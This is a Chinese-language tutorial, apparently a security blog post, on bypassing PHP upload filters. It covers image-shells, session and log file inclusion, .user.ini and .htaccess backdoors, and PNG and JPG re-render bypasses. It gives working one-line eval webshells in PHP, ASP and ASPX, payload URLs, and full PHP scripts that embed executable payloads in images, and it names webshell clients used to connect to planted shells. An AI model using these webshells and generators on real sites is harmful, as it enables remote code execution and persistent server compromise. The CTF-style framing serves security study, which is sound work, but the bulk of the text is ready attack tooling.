文章目录[隐藏]
getimagesize()类型验证
这个函数功能会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求的
那我们就需要制作一个合格的图片马
我们这里使用cmd命令的方法
CMD:copy /b test.png + muma.php ccc.png
最后会生成一个名为ccc.png的图片马
如果显示系统找不到文件就用 " " 包裹文件
或者直接在文件开头,写入
GIF89a
伪装成一个文件
session文件包含
简介
总结:在客户端尝试构造一个POST请求(用于询问文件上传进度,不论是否需要上传文件,都可以构造),该数据包包含一个参数"PHP_SESSION_UPLOAD_PROGRESS",该参数是一个临时参数会被短暂的包含进一个临时文件下session下【该参数的值可以设置为”“等内容】,通过查看该文件所在位置以及文件名,将临时存在的文件包含,需要找到文件包含的注入点(文件包含的参数)将session文件包含。 (1) 因为PHP_SESSION_UPLOAD_PROGRESS的值是被短暂包含于sess_XXXX文件中(查询完毕该参数值会被删除),需要借助bp爆破,一直不停的发送POST请求包(2) 同时,利用文件包含,借助bp爆破将sess_XXXX文件包含 Session文件包含实现的原理
当可以获取Session文件路径并且Session文件内容可控时,就可以通过包含session文件进行攻击。
实现原理
PHP5.4.0之后为方便用户查看文件上传的进度(在浏览器中),在文件上传时用可以发送一个POST请求到终端(如XHR)来检查这个状态。 POST请求内容:上传文件进度名前缀+上传文件名(夹带私货,比如一句话木马) 将POST请求内容保存(文件上传进度的信息)在生成的临时文件session下 在读取完POST的数据后,php就会删除session文件中关于上传进度的信息。
实现:当一个上传在处理中,同时POST一个与ini中设置的session.upload_progress.name同名变量时,上传进度可以在$session中获得。当PHP检测到这种POST请求时,会在$session中添加一组数据,索引值是:session.upload_progress.prefix与session.upload_progress.name连接到一起的值。这些键值可以通过读取ini设置来获得
相关配置:session.upload_progress.enabled = On (允许检测文件上传进度)session.upload_progress.prefix = “upload_progress_” (上传文件进度名前缀)session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS” (上传文件名) 存储机制
本质:当开启session时,服务器会在临时目录下创建一个session文件保存会话信息,文件格式为sess_PHPSESSID
Session文件包含前提
1)通过session_start()才能开启session,如果没有session_start()这个条件是否就没法利用了,这时需要了解到另一个相关配置:session.use_strict_mode
session.use_strict_mode=on
默认情况下此模块是关闭的。
会防止会话模块未初始会话的ID。仅接受它自己创建有效会话ID,而拒绝用户自己创建的会话ID。
我们可以自行设置cookie或者使用JavaScript注入的方式来设置会话ID进行攻击。
该选项不开启,我们可以自定义session_id,如,我们在请求数据包设置cookie为PHPSESSID=123,那么就会生成一个sess_123的session文件,此时php会自动初始化session,并产生一个键值,格式为配置文件中的session.upload_progress.prefix的值+我们上传的session.upload_progress.name的值此键值会写入session文件。该键值的格式应该为:upload_progress_+PHP_SESSION_UPLOAD_PROGRESS的值。
2) 因为 session.upload_progress.cleanup默认是开启的,导致在上传结束后,session文件中有关的上传进度信息(终点在于“夹带的私货”也会被清除)会马上被删除,此时需要使用条件竞争解决。使用python脚本或burp不断上传数据包,然后在用相同的方式发送文件按包含数据包,即可包含
Session文件包含利用技巧
获取Session文件所在位置 session的文件名以sess_开头,后跟sessionid。sessionid可以通过开发者模式获取。 通过phpinfo的信息获取session的存储位置,phpinfo中的session.save_path保存的是session的存储位置。 通过猜测默认的session存储位置进行尝试,通常在Linux中Session默认存储在/var/lib/php/session目录下
- 文件路径例如:/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
- /var/lib/php/
- /var/lib/php/sessions/
- /tmp/
- /tmp/sessions/
控制Session内容
例如:下述代码会将获取的GET型ctfs变量的值存入session中,攻击者可以利用GET型ctfs参数将恶意代码写入session文件中,然后再利用文件包含漏洞包含此session文件,向系统中传入恶意代码。
<?php session_start(); $ctfs=$_GET['ctfs']; $_SESSION["username"]=$ctfs; ?> 此php会将获取到的GET型ctfs变量的值存入到session中。 当访问http://www.ctfs-wiki/session.php?ctfs=ctfs 后,会在/var/lib/php/session目录下存储session的值。 session的文件名为sess_+sessionid,sessionid可以通过开发者模式获取。 通过上面的分析,可以知道ctfs传入的值会存储到session文件中,如果存在本地文件包含漏洞,就可以通过ctfs写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell。 当访问http://www.ctfs-wiki/session.php?ctfs=<?php phpinfo();?>后,会在/var/lib/php/session目录下存储session的值。 攻击者通过phpinfo()信息泄露或者猜测能获取到session存放的位置,文件名称通过开发者模式可获取到,然后通过文件包含的漏洞解析恶意代码getshell。
payload:
=<?php phpinfo();?> http://127.0.0.1/session.php?ctfs=<?php phpinfo; ?> http://127.0.0.1/FI.php?filename=/var/lib/php/session/sess_812342oi455684090
一句话木马
最简单的一句话木马
<?php @eval($_POST['attack']);?>
利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以在本地通过中国菜刀chopper.exe即可获取和控制整个网站目录。@表示后面即使执行错误,也不报错。eval()函数表示括号内的语句字符串什么的全都当做代码执行。$_POST['attack']表示从页面中获得attack这个参数值。
常见形式
php的一句话木马: <?php @eval($_POST['pass']);?>
asp的一句话是: <%eval request ("pass")%>
aspx的一句话是: <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
基本原理
<?php @eval($_POST['cmd']); ?>
为什么密码是cmd
那就要来理解这句话的意思了。php里面几个超全局变量:$_GET、$_POST就是其中之一。$_POST['a']; 的意思就是a这个变量,用post的方法接收。
如何理解eval()函数?
eval()把字符串作为PHP代码执行。
例如:eval("echo 'a'");其实就等于直接 echo 'a';再来看看<?php eval($_POST['pw']); ?>首先,用post方式接收变量pw,比如接收到了:pw=echo 'a';这时代码就变成<?php eval("echo 'a';"); ?>。
连起来意思就是:用post方法接收变量pw,把变量pw里面的字符串当做php代码来执行。所以也就能这么玩:也就是说,你想执行什么代码,就把什么代码放进变量pw里,用post传输给一句话木马。
四种PHP标记
短标签的绕过
1:XML风格,也是官方推荐的形式
<?php @eval($_POST[1]);?>
2:短标记
<? @eval($_POST[1]);?>
需要开启配置参数short_open_tags=on
<?= @eval($_POST[1]);
自 PHP 5.4 起,短格式的 echo 标记 <?= 总会被识别并且合法,而不管 short_open_tag 的设置是什么。
3:ASP风格
<% @eval($_POST[1]); %>
ASP风格标记仅在通过php.ini配置文件中的指令asp_tags打开后才可用。
4:脚本风格
<script language="php">
echo "666";
</script>
PHP 7.0.0以后失效
日志包含
当过滤了很多符号时我们的一句话木马无法上传,并且没有url_allow_include 功能时,我们就可以考虑包含服务器的日志文件,当我们访问网站时,服务器的日志中会记录我们的行为,当我们访问链接中包含PHP一句话木马时,也会被记录日志中
常见目标日志文件
| 日志类型 | 默认路径(Linux) | 说明 |
|---|---|---|
| Nginx访问日志 | /var/log/nginx/access.log | 记录HTTP请求 |
| Apache访问日志 | /var/log/apache2/access.log | 记录HTTP请求 |
| PHP错误日志 | /var/log/php_errors.log | 记录PHP运行错误 |
| SSH日志 | /var/log/auth.log | 记录SSH登录尝试 |
| 邮件日志 | /var/log/mail.log | 记录邮件发送记录 |
user.ini
这得从php.ini说起了。php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:PHP_INI_SYSTEM、PHP_INI_PERDIR、PHP_INI_ALL、PHP_INI_USER。
| 模式 | 含义 |
|---|---|
| PHP_INI_USER | 可在用户脚本(比如ini_set)或Windows注册表以及.user.ini中设定 |
| PHP_INI_PERDIR | 可在php.ini, .htaccess或httpd.conf中设定 |
| PHP_INI_SYSTEM | 可在php.ini或httpd.conf中设定 |
| PHP_INI_ALL | 可以在任何地方设定 |
其中就提到了,模式为PHP_INI_USER的配置项,可以在ini_set()函数中设置、注册表中设置,再就是.user.ini中设置。 这里就提到了.user.ini,那么这是个什么配置文件?
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。
这里就很清楚了,.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。(上面表格中没有提到的PHP_INI_PERDIR也可以在.user.ini中设置)
实际上,除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。
而且,和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。
然后我们看到php.ini中的配置项,可惜我沮丧地发现,只要稍微敏感的配置项,都是PHP_INI_SYSTEM模式的(甚至是php.ini only的),包括disable_functions、extension_dir、enable_dl等。 不过,我们可以很容易地借助.user.ini文件来构造一个“后门”。 auto_append_file、auto_prepend_file
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:
auto_prepend_file=01.gif
01.gif是要包含的文件。
加载1.gif文件
上传1.gif文件
GIF89a
<script language='php'> @eval($_POST['a']);</script>
访问同目录中的php文件,例如index.php ,先通过本目录中的配置文件.user.ini进行加载1.gif文件从而达到加载后门的目的
所以,我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。
.htaccess
.htaccess文件(或者”分布式配置文件”)提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。 启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config 。 笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。 .htaccess文件可以在网站目录树的任何一个目录中,只对该文件所在目录中的文件和子目录有效。
注意:
1、子目录中的指令会笼盖更高级目录或者主器配置中的指令。 如果 .htaccess 文件保存在 /apache/home/www/Gunjit/ 目录,那么它会向该目录中的所有文件和子目录提供命令,但如果该目录包含一个名为 /Gunjit/images/ 子目录,且该子目录中也有一个 .htaccess 文件,那么这个子目录中的命令会覆盖父目录中 .htaccess 文件(或者目录层次结构中更上层的文件)提供的命令。
.htaccess文件中的配置指令作用于.htaccess文件所在的目录及其所有子目录,但是很重要的、需要注意的是,其上级目录也可能会有.htaccess文件,而指令是按查找顺序依次生效的,所以一个特定目录下的.htaccess文件中的指令可能会覆盖其上级目录中的.htaccess文件中的指令,即子目录中的指令会覆盖父目录或者主配置文件中的指令。
2、.htaccess必需以ASCII模式上传,最好将其权限设置为644。 3、使用.htaccess文件,会降低httpd服务器的一点性能
如何启用.htaccess 要在服务器上使用.htaccess文件配置,必须要求服务器开通对于的支持。两个条件:1.mod_rewrite模块开启;2. AllowOverride All, 如何配置:
启用AllowOverride。打开httpd.conf, 将工作目录下的AllowOverride None 改为AllowOverride All。
开启.mod_rewrite模块。将#LoadModule rewrite_module modules/mod_rewrite.so前的#去掉即可。
- 重启apache
使用方法
1使用方法,上传.htaccess文件内容如下
<FilesMatch "shell">
SetHandler application/x-httpd-php
</FilesMatch>
匹配文件名为“shell”的文件,该文件作为可执行程序解析
或者
AddType application/x-httpd-php .jpg
jpg文件作为可执行程序执行
2再上传shell.jpg
GIF89a
<script language='php'> @eval($_POST['a']);</script>
3访问shell.jpg文件
前端绕过
删除前端校验文件
直接删除js代码
禁用js代码
使用插件
bp抓包
使用bp抓包,修改为木马后缀名。再contnet-type将上传的文件后缀进行修改
二次渲染
原理:
在我们上传文件后,网站会对图片进行二次处理,服务器会把里面的内容进行替换更新,根据原有的图片进行对比,找到没修改的部分,然后利用这一部分,生成一个新的图片并放到网站的对应标签进行显示。
GIF绕过
第一步:制作图片马
方法一:直接用Notepad++等记事本类型软件打开,在图片后写入执行语句
方法二:(b代表的是二进制)使用命令将两个文件内容合并(可以将zip等其他类型文件伪装成图片等,copy/b 1.gif/b+1.rar/b 2.gif)
将准备的1.gif 和2.php文件,最后再和成为3.gif
在目录下按住shift,再右键打开Open in Windows Terminal(或者从命令提示符进入到这个目录中)
copy 1.gif/b + 2.php/a 3.gif
第二步:将文件上传,然后再对比原文件。上传后,使用010进制编辑器自带的比较文件,点击tools,点击compare Files,选match部分,即16进制蓝色字段就是没被改变的
第三步:可以在没有改变的地方插入而已代码
第四步:获取浏览器打开文件地址,软件连接
PNG绕过
PNG数据组成:
关键数据块+辅助数据块
每个PNG由3个标准数据块(IHDR,IDAT,IEND)
标准数据块:
IHDR(header chunk):
包含有PNG文件中存储的图像数据的基本信息,并作为第一个数据块出现在PNG数据流中,一个PNG数据流中只能有一个文件头数据块
IDAT(image data chunk):
存储实际的数据,在数据流中可包含多个连续顺序的图像数据块。 IDAT存放着图像真正的数据信息,了解IDAT的结构,就可以生成PNG图像
IEND(image trailer chunk)
标记PNG文件或者数据流已经结束,并且必须放在文件的尾部,即
00 00 00 00 49 45 4E 44 AE 42 60 82
辅助数据块:
PLTE:
是辅助数据块,对于索引图像,调色板信息是必须的,调色板的颜色索引从0开始编号,然后是1、2……,调色板的颜色数不能超过色深中规定的颜色数(如图像色深为4的时候,调色板中的颜色数不可以超过2^4=16),否则,这将导致PNG图像不合法。
利用过程:使用PHP脚本写入在IDTA中
第一步:创建IDAT_png.php脚本(生成一个绕过渲染的图片马):
运行脚本即可生成
<?$_GET[0]($_POST[1];?)>
使用方式:get传参0= post传参1=
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>
第二步:使用php命令执行php脚本文件
执行命令(没报错就是成功)
php IDAT_png.php 2.png
然后可以看到生成了一个php脚本里面运行出来的1.png文件
上传生成的1.png文件,在浏览器上访问
能正常访问
用的php脚本生成的图片所写入的是<?$_GET[0]($_POST[1]);?>
(根据脚本写入情况来定,不确定可以用010 Editor等编辑器查看)
然后结合文件上传,进行GET和POST传参
get传参0=
post传参1=
(我们可以通过把上传的图片再保存到本地,用010 Editor查看) 然后蚁剑连接
JPG绕过
JPG是JPEG的简写,jpg是后缀名,jpeg既可以作为后缀名又能代表文件格式和png的操作步骤基本一致,就是脚本不一样。
在和JPG同一文件下创建jpg_payload.php脚本
<?php
$miniPayload = "<?=phpinfo();?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte() !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
使用php脚本创建一个图片马
php jpg_payload.php a.jpg
后面就基本一致了
Comments NOTHING